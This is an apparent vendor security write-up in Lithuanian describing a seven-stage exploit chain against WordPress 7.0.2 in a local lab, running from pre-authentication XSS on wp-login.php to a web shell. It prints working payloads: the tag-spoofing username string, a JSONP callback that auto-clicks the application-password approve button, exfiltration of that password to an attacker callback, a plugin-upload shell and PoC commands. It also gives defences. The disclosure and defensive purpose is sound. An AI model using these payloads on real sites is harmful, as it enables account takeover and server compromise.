XSS2Shell: Nuo nulio iki „shell“ „WordPress“ sistemoje

Praktinis vadovas, kuriame pateikiama išankstinio autentiškumo patvirtinimo XSS grandinė, galinti išaugti iki nuotolinio kodo vykdymo „WordPress Core“ sistemoje; pademonstruota vietinėje „Docker“ laboratorijoje.

Tik leidžiami bandymai.

Visa toliau pateikta informacija buvo išbandyta vietinėje aplinkoje (WordPress 7.0.2, veikiantis „localhost“). Nenaudokite šių metodų sistemose, kurios jums nepriklauso arba kurių testavimui neturite aiškaus leidimo.

Santrauka

„XSS2Shell“ nėra vienintelė klaida – tai septynių etapų išnaudojimo grandinė, kuri prasideda nuo vieno simbolio (<, po kurio eina tarpas), leidžiančio apeiti du skirtingus HTML analizatorius „WordPress“ prisijungimo puslapyje, ir baigiasi PHP vykdymu serveryje kaip „www-data“.

Kodėl tai pavojinga:

  1. 1-ajame etape nereikalaujama jokio autentifikavimo — bet kas gali paleisti JavaScript failą „wp-login.php“.
  2. Ši problema glūdi pačiame „WordPress“ branduolyje – tai nėra įskiepis; ji turi įtakos praktiškai visoms nuo 2016 m. palaikomoms instaliacijoms.
  3. Jis naudoja pačio „WordPress“ kodą — „user-profile.js“, REST JSONP, programų slaptažodžius, įskiepių įkėlimą — kaip valdiklius.
  4. „WordPress“ patvirtina ir pripažįsta visišką RCE galimybę — nors tam reikia, kad prisijungęs administratorius vienu spustelėjimu patikėtų apgaulingu veiksmu.

Šiame straipsnyje aprašomi visi etapai, pateikiant ekrano kopijas iš mūsų vietinės laboratorijos.

Laboratorijos aplinka

git clone <šis-repozitoriumas> cd xss2shell make up # „WordPress“ 7.0.2 versija svetainėje http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Kiekvienoje „WordPress“ svetainėje yra pasiekiamas failas /wp-login.php. Šis puslapis yra visos grandinės pradinis taškas.

0 etapas: Analizatoriaus skirtumas (pagrindinė priežastis)

Kai prisijungimas nepavyksta, „WordPress“ klaidos pranešime parodo įvestą vartotojo vardą. Vartotojo vardas praeina per du valymo modulius, kurie nesutaria dėl to, kas yra „žymė“:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Duomenų blokas naudoja tarpelį po<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Pažeidžiamoje „WordPress 7.0.2“ versijoje šis kodas išlieka po valymo ir patenka į veikiantį DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Atnaujintoje „WordPress“ 7.0.4 versijoje tas pats krovinys klaidos pranešime yra pateiktas su HTML kodavimo simboliais – jame nėra aktyvių elementų.

Ši klaida egzistuoja nuo „WordPress“ 4.7 versijos (2016 m.) ir nebuvo pastebėta per daugelį metų vykdytų saugumo auditų.

1 etapas: XSS prieš autentiškumo patvirtinimą (prisijungti nebūtina)

Įterpti DOM mazgai atitinka selektorius, kurių WordPress savo „user-profile.js“ failas ieško prisijungimo puslapyje (įkeltame vykdant slaptažodžio atkūrimo procedūrą):

  1. .reset-pass-submit .wp-generate-pw elementai automatiškai paspaudžiami, kai puslapis įkeliama
  2. Spustelėjus, burbulas perduodamas į #color-picker deleguotą tvarkyklę
  3. Saugumo patikrinimas „user_id === checkuser_id“ sėkmingas, nes abu kintamieji yra neapibrėžti
  4. jQuery siunčia POST užklausą į „ajaxurl“ — tačiau „ajaxurl“ prisijungimo puslapyje neegzistuoja…

Jei tik jo nesutriuškinsime:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Elementas <area id=ajaxurl> tampa „window.ajaxurl“. jQuery iškvietia .toString() → grąžina „href“. WordPress REST grąžina JSONP → jQuery globalEval() → alert()vykdomas „WordPress“ kilmės serveryje.

Stage 1 demo page
Stage 1 demo page

Pateikite formą (arba atidarykite failą „demo/stage1-preauth-xss.html“ ir spustelėkite „Run Stage 1“):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Poveikis vien šiame etape: prisijungimo duomenų išgavimas per sukčiavimą tikrame domene, sesijos perėmimas, API iškvietimai iš tos pačios kilmės – be jokio autentiškumo patvirtinimo.

2 etapas: Socialinė inžinerija – administratoriaus paspaudimas

2–7 etapuose reikia, kad prisijungęs administratorius atidarytų įsilaužėlio kontroliuojamą puslapį. Būtent ši kliūtis lemia, kad CVSS vertė yra mažesnė nei 10, tačiau tai yra realistiška tikslinių atakų atveju.

Administratorius gali gauti tokį pranešimą: „Jūsų sesija pasibaigė — spustelėkite čia, kad vėl prisijungtumėte.“

Simulated phishing lure page
Simulated phishing lure page

Paspaudus šią nuorodą, užpuoliko puslapis:

  1. Atidaro antrinį iškylantį langą (about:blank)
  2. Perkreipia pagrindinį langą į „WordPress“ autorizacijos puslapį, kuriame įvedamas programos slaptažodis
  3. Į vaiko iškylančią langą įrašo XSS formą ir automatiškai ją išsiunčia į wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

3 etapas: „Same-Origin Method Execution“ (SOME) — automatinis patvirtinimas

Vaikiniško lango XSS krovinys pakeičia JSONP atgalinį iškvietimą iš „alert“ į:

window.opener.approve.click

„WordPress REST“ apgaubia atsakymą:

/**/window.opener.approve.click({...})

Vykdymo aplinka išsprendžia: „window.opener“ (viršutinis langas) → „.approve“ (mygtukas „#approve“ ) → „.click()“. Mygtukas „Patvirtinti programos slaptažodį“ paspaudžiamas automatiškai – vartotojas tame puslapyje nieko nedaro.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Atkreipkite dėmesį į puslapyje nurodytą atgalinio skambučio URL adresą: prisijungimo duomenys bus nusiųsti į http://127.0.0.1:9090/callback?...&password=[------].

4 etapas: Programos slaptažodžio perėmimas

„WordPress“ sukuria naują programos slaptažodį ir nukreipia į užpuoliko nurodytą „success_url“ adresą, į užklausos eilutę įtraukdamas prisijungimo duomenis:

http://127.0.0.1:9090/callback?site_url=http://localhost:9080&user_login=admin&password=XXXX XXXX XXXX XXXX XXXX XXXX

Dabar įsilaužėlis turi „WordPress REST API“ HTTP „Basic“ autentifikavimo duomenis – gautus iš paties administratoriaus sesijos, be to, kad administratorius po pirmojo nuorodos paspaudimo nieko neįvedė.

5 etapas: Paskelbti užpuoliko kontroliuojamą puslapį

Naudodamas pavogtą programos slaptažodį, įsilaužėlis atsiunčia POST užklausą į /wp-json/wp/v2/pages ir paskelbia puslapį su įterptu JavaScript kodu. Administratoriai turi „unfiltered_html“ teisę — skriptų žymės lieka nepakeistos.

6 etapas: Įskiepio įkėlimas per administratoriaus sesiją

Piktadario „JavaScript“ kodas (vykdomas administratoriaus naršyklėje paskelbtame puslapyje):

  1. Atsisiunčia /wp-admin/plugin-install.php?tab=upload, kad gautų įkėlimo „nonce“
  2. Įkelia kenkėjišką ZIP failą į /wp-admin/update.php?action=upload-plugin
  3. „WordPress“ jį išpakuoja į katalogą „wp-content/plugins/xss2shell/“

Įskiepio aktyvuoti nere ikia. PHP failai, esantys įskiepio kataloge, yra tiesiogiai prieinami per internetą.

7 etapas: Nuotolinis kodo vykdymas

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Atsakymas:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Dabar įsilaužėlis, prisidengęs žiniatinklio serverio vartotojo tapatybe, vykdo bet kokias komandas – perskaito failą „wp-config.php“ (duomenų bazės prisijungimo duomenys), išsaugo duomenų bazės kopiją ir toliau plėtoja savo veiklą sistemoje.

Visas PoC terminalo išvesties duomenų rinkinys:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Visas grandinės vaizdas iš pirmo žvilgsnio

sekos diagrama: dalyvis A – „Attacker“ (puolėjas), dalyvis V – „Victim“ (auka), dalyvis W – „WordPress 7.0.2“. Pastaba apie V ir W: V->>A: Atidaro sukčiavimo nuorodą (1 paspaudimas) A->>V: Puolėjo HTML + vaiko iškylantis langas V->>W: Pagrindinis langas → „authorize-application.php“; V->>W: Vaikinis langas siunčia XSS krovinį į „wp-login.php“; W->>V: JSONP vykdo „window.opener.approve.click“; Pastaba apie V ir W: „Patvirtinti“ mygtukas paspaustas automatiškai W->>A: Peradresavimas su programos slaptažodžiu A->>W: REST API puslapio paskelbimas (pagrindinis autentifikavimas) V->>W: Administratorius apsilanko puslapyje → įkelia įskiepio ZIP failą V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Ar tai iš tikrųjų taip pavojinga?

Kas yra garantuota (didelis tikrumas)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Ką reikia papildomų sąlygų (RCE kelias)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Rangų kalibravimas

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Išvada: tai nėra tokia „wormable“ „zero-click“ RCE pažeidžiamybė kaip „Log4Shell“. Tai itin techninio pobūdžio, branduolio lygio pažeidžiamybė, paveikianti apie 43 % interneto, kur:

  • Jau vien 1 etapas yra rimtas išankstinio autorizavimo XSS pažeidimas prisijungimo puslapyje
  • Visa grandinė paverčia vieną administratoriaus paspaudimą į serverio įsilaužimą
  • Pagrindinė priežastis (analizatorių skirtumai) taikoma bet kuriam kodui, kuriame naudojami keli HTML analizatoriai

Pačiame „WordPress“ pranešime teigiama, kad nuotolinio kodo vykdymui (RCE) reikalingos „sąlygos, kurių užpuolikas negali kontroliuoti“ ir „sėkminga socialinė inžinerija“. Tai teisinga – tačiau pademonstruota grandinė leidžia šias sąlygas įvykdyti vienu nuorodos paspaudimu.

Atkurti visą grandinę lokaliai

# 1. Pradėti laboratorijos aplinkos konfigūravimą # 2. Įjungti programos slaptažodžius HTTP protokole (tik laboratorijoje) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Paleiskite PoC klausytoją python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Naršyklėje: # a. Prisijunkite kaip administratorius adresu http://localhost:9080/wp-login.php # b. Atidarykite http://127.0.0.1:9091/phishing-sim.html # c. Spustelėkite „Open attacker page“ (leiskite iškylančius langus) # d. Palaukite, kol terminale pasirodys komandų eilutė ir „whoami“

Gynyba

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Šis pataisymas įtraukia funkciją `esc_html()` į vartotojo vardą prisijungimo klaidos tvarkymo grandinėje – taip užtikrinama, kad šis eilutė būtų traktuojama kaip tekstas, o ne iš naujo apdorojama kaip HTML.

Kodėl tai svarbu saugumo tyrimams

Kiekviena grandinės grandis atskirai yra nuobodi:

  • Analizatoriaus skirtumas → nedidelio sunkumo tvarkymo darbai
  • Prisijungimo puslapyje įkeltas netinkamas scenarijus → žemas
  • JSONP atgalinio skambučio patikrinimas naudojant reguliariąją išraišką → medium
  • Programos slaptažodis nukreipimo URL adrese → medium
  • Įskiepių katalogas vykdo PHP be aktyvacijos → žinoma sistemos ypatybė

Sudėjus juos kartu, gaunamas CVSS 8,9 ir apvalkalas.

Išvada: vertindami XSS pažeidimus, paklauskite savęs : „Kas jau yra įkelta į šį puslapį ir ką ji atliks, jei jai perduosiu reikiamus DOM mazgus?“ Rimtumas priklauso nuo visos grandinės, o ne nuo atskiro pažeidimo.

Literatūra

Select Region & Language

Region
Language
Want to see CyberTested in action?
Book a Free Demo